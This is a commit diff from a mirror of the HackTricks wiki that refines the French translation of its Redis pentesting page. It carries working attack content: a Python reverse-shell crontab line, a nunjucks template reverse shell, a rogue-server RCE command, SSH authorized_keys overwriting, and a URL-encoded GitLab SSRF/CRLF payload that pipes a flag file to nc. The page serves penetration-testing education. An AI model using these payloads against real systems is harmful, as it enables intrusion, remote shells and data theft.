mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/6379-pentesting-redis.md']
This commit is contained in:
parent
61fec80d29
commit
da905c290d
@ -24,7 +24,7 @@ msf> use auxiliary/scanner/redis/redis_server
|
||||
|
||||
### Bannière
|
||||
|
||||
Redis est un **protocole basé sur du texte**, vous pouvez simplement **envoyer la commande dans un socket** et les valeurs retournées seront lisibles. N'oubliez pas que Redis peut fonctionner en utilisant **ssl/tls** (mais c'est très étrange).
|
||||
Redis est un **protocole basé sur du texte**, vous pouvez simplement **envoyer la commande dans un socket** et les valeurs retournées seront lisibles. N'oubliez pas que Redis peut fonctionner avec **ssl/tls** (mais c'est très étrange).
|
||||
|
||||
Dans une instance Redis régulière, vous pouvez simplement vous connecter en utilisant `nc` ou vous pouvez également utiliser `redis-cli`:
|
||||
```bash
|
||||
@ -39,13 +39,13 @@ Dans ce dernier cas, cela signifie que **vous avez besoin de credentials valides
|
||||
|
||||
### Authentification Redis
|
||||
|
||||
**Par défaut**, Redis peut être accessible **sans credentials**. Cependant, il peut être **configuré** pour ne prendre en charge **que le mot de passe, ou le nom d'utilisateur + mot de passe**.\
|
||||
**Par défaut**, Redis peut être accessible **sans credentials**. Cependant, il peut être **configuré** pour ne supporter **que le mot de passe, ou le nom d'utilisateur + mot de passe**.\
|
||||
Il est possible de **définir un mot de passe** dans le fichier _**redis.conf**_ avec le paramètre `requirepass` **ou temporairement** jusqu'à ce que le service redémarre en se connectant et en exécutant : `config set requirepass p@ss$12E45`.\
|
||||
De plus, un **nom d'utilisateur** peut être configuré dans le paramètre `masteruser` à l'intérieur du fichier _**redis.conf**_.
|
||||
|
||||
> [!NOTE]
|
||||
> Si seul le mot de passe est configuré, le nom d'utilisateur utilisé est "**default**".\
|
||||
> De plus, notez qu'il n'y a **aucun moyen de trouver de manière externe** si Redis a été configuré avec seulement un mot de passe ou un nom d'utilisateur + mot de passe.
|
||||
> De plus, notez qu'il n'y a **aucun moyen de trouver extérieurement** si Redis a été configuré avec seulement un mot de passe ou un nom d'utilisateur + mot de passe.
|
||||
|
||||
Dans des cas comme celui-ci, vous devrez **trouver des credentials valides** pour interagir avec Redis, donc vous pourriez essayer de [**brute-force**](../generic-hacking/brute-force.md#redis) cela.\
|
||||
**Dans le cas où vous avez trouvé des credentials valides, vous devez authentifier la session** après avoir établi la connexion avec la commande :
|
||||
@ -79,7 +79,7 @@ Trouvez plus d'informations intéressantes sur d'autres commandes Redis ici : [h
|
||||
|
||||
### **Dumping Database**
|
||||
|
||||
À l'intérieur de Redis, les **bases de données sont des numéros commençant à 0**. Vous pouvez vérifier si l'une d'elles est utilisée dans la sortie de la commande `info` dans le bloc "Keyspace" :
|
||||
Dans Redis, les **bases de données sont des numéros commençant à 0**. Vous pouvez vérifier si l'une d'elles est utilisée dans la sortie de la commande `info` dans le bloc "Keyspace" :
|
||||
|
||||
.png>)
|
||||
|
||||
@ -87,7 +87,7 @@ Ou vous pouvez simplement obtenir tous les **keyspaces** (bases de données) ave
|
||||
```
|
||||
INFO keyspace
|
||||
```
|
||||
Dans cet exemple, les **bases de données 0 et 1** sont utilisées. **La base de données 0 contient 4 clés et la base de données 1 en contient 1**. Par défaut, Redis utilisera la base de données 0. Pour dumper par exemple la base de données 1, vous devez faire :
|
||||
Dans cet exemple, les **bases de données 0 et 1** sont utilisées. **La base de données 0 contient 4 clés et la base de données 1 en contient 1**. Par défaut, Redis utilisera la base de données 0. Pour effectuer un dump de la base de données 1, vous devez faire :
|
||||
```bash
|
||||
SELECT 1
|
||||
[ ... Indicate the database ... ]
|
||||
@ -110,13 +110,13 @@ HGET <KEY> <FIELD>
|
||||
# If the type used is weird you can always do:
|
||||
DUMP <key>
|
||||
```
|
||||
**Dump le base de données avec npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **ou python** [**redis-utils**](https://pypi.org/project/redis-utils/)
|
||||
**Dump le base de données avec npm** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **ou python** [**redis-utils**](https://pypi.org/project/redis-utils/)
|
||||
|
||||
## Redis RCE
|
||||
|
||||
### Shell interactive
|
||||
|
||||
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) peut automatiquement obtenir une shell interactive ou une shell inversée dans Redis(<=5.0.5).
|
||||
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) peut automatiquement obtenir un shell interactif ou un shell inversé dans Redis(<=5.0.5).
|
||||
```
|
||||
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
|
||||
```
|
||||
@ -138,7 +138,7 @@ Si l'exception d'accès au webshell se produit, vous pouvez vider la base de don
|
||||
|
||||
### Template Webshell
|
||||
|
||||
Comme dans la section précédente, vous pourriez également écraser un fichier de template html qui va être interprété par un moteur de template et obtenir un shell.
|
||||
Comme dans la section précédente, vous pourriez également écraser un fichier de modèle html qui va être interprété par un moteur de template et obtenir un shell.
|
||||
|
||||
Par exemple, en suivant [**ce rapport**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), vous pouvez voir que l'attaquant a injecté un **rev shell dans un html** interprété par le **moteur de template nunjucks :**
|
||||
```javascript
|
||||
@ -155,7 +155,7 @@ sh.stderr.pipe(client);
|
||||
)()}}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Notez que **plusieurs moteurs de template mettent en cache** les templates en **mémoire**, donc même si vous les écrasez, le nouveau **ne sera pas exécuté**. Dans ces cas, soit le développeur a laissé le rechargement automatique actif, soit vous devez faire un DoS sur le service (et vous attendre à ce qu'il soit relancé automatiquement).
|
||||
> Notez que **plusieurs moteurs de template mettent en cache** les templates en **mémoire**, donc même si vous les écrasez, le nouveau **ne sera pas exécuté**. Dans ces cas, soit le développeur a laissé le rechargement automatique actif, soit vous devez effectuer un DoS sur le service (et vous attendre à ce qu'il soit relancé automatiquement).
|
||||
|
||||
### SSH
|
||||
|
||||
@ -182,6 +182,8 @@ OK
|
||||
|
||||
**Cette technique est automatisée ici :** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
|
||||
|
||||
De plus, les utilisateurs système peuvent également être découverts en vérifiant avec `config set dir /home/USER`, et après confirmation, un nouveau `authorized_keys` peut être écrit dans `/home/USER/.ssh/authorized_keys`. Utilisez [redis-rce-ssh](https://github.com/captain-woof/redis-rce-ssh) pour bruteforcer cela avec une liste de mots d'utilisateurs et écraser `authorized_keys`.
|
||||
|
||||
### Crontab
|
||||
```
|
||||
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
|
||||
@ -200,7 +202,7 @@ Cette méthode peut également être utilisée pour gagner des bitcoins :[yam]
|
||||
### Charger le module Redis
|
||||
|
||||
1. En suivant les instructions de [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand), vous pouvez **compiler un module redis pour exécuter des commandes arbitraires**.
|
||||
2. Ensuite, vous avez besoin d'un moyen de **télécharger le module compilé**.
|
||||
2. Ensuite, vous avez besoin d'un moyen pour **télécharger le module compilé**.
|
||||
3. **Chargez le module téléchargé** à l'exécution avec `MODULE LOAD /path/to/mymodule.so`.
|
||||
4. **Listez les modules chargés** pour vérifier qu'il a été correctement chargé : `MODULE LIST`.
|
||||
5. **Exécutez** **des commandes** :
|
||||
@ -219,7 +221,7 @@ Cette méthode peut également être utilisée pour gagner des bitcoins :[yam]
|
||||
|
||||
[**Ici**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html), vous pouvez voir que Redis utilise la commande **EVAL** pour exécuter **du code Lua en bac à sable**. Dans le post lié, vous pouvez voir **comment en abuser** en utilisant la fonction **dofile**, mais [apparemment](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval), cela n'est plus possible. Quoi qu'il en soit, si vous pouvez **contourner le bac à sable Lua**, vous pourriez **exécuter des commandes arbitraires** sur le système. De plus, dans le même post, vous pouvez voir quelques **options pour provoquer un DoS**.
|
||||
|
||||
Quelques **CVEs pour échapper à LUA** :
|
||||
Quelques **CVE pour échapper à LUA** :
|
||||
|
||||
- [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
|
||||
|
||||
@ -253,7 +255,7 @@ Par conséquent, si vous trouvez une **vulnérabilité SSRF** sur un site web et
|
||||
|
||||
### Exemple : Gitlab SSRF + CRLF vers Shell
|
||||
|
||||
Dans **Gitlab11.4.7**, une vulnérabilité **SSRF** et une vulnérabilité **CRLF** ont été découvertes. La vulnérabilité **SSRF** se trouvait dans la **fonctionnalité d'importation de projet depuis une URL** lors de la création d'un nouveau projet et permettait d'accéder à des IPs arbitraires sous la forme \[0:0:0:0:0:ffff:127.0.0.1] (cela accédera à 127.0.0.1), et la vulnérabilité **CRLF** a été exploitée en **ajoutant des caractères %0D%0A** à l'**URL**.
|
||||
Dans **Gitlab11.4.7**, une vulnérabilité **SSRF** et une vulnérabilité **CRLF** ont été découvertes. La vulnérabilité **SSRF** se trouvait dans la **fonctionnalité d'importation de projet depuis une URL** lors de la création d'un nouveau projet et permettait d'accéder à des IPs arbitraires sous la forme \[0:0:0:0:0:ffff:127.0.0.1] (cela accédera à 127.0.0.1), et la vulnérabilité **CRLF** a été exploitée simplement en **ajoutant des caractères %0D%0A** à l'**URL**.
|
||||
|
||||
Par conséquent, il était possible de **profiter de ces vulnérabilités pour communiquer avec l'instance Redis** qui **gère les files d'attente** de **gitlab** et d'abuser de ces files d'attente pour **obtenir une exécution de code**. Le payload d'abus de la file d'attente Redis est :
|
||||
```
|
||||
@ -266,6 +268,6 @@ Et la requête **URL encode** **abusant de SSRF** et **CRLF** pour exécuter un
|
||||
```
|
||||
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
|
||||
```
|
||||
_Pour une raison quelconque (comme pour l'auteur de_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _d'où provient cette information) l'exploitation a fonctionné avec le schéma `git` et non avec le schéma `http`._
|
||||
_Pour une raison quelconque (comme pour l'auteur de_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _d'où provient cette information), l'exploitation a fonctionné avec le schéma `git` et non avec le schéma `http`._
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user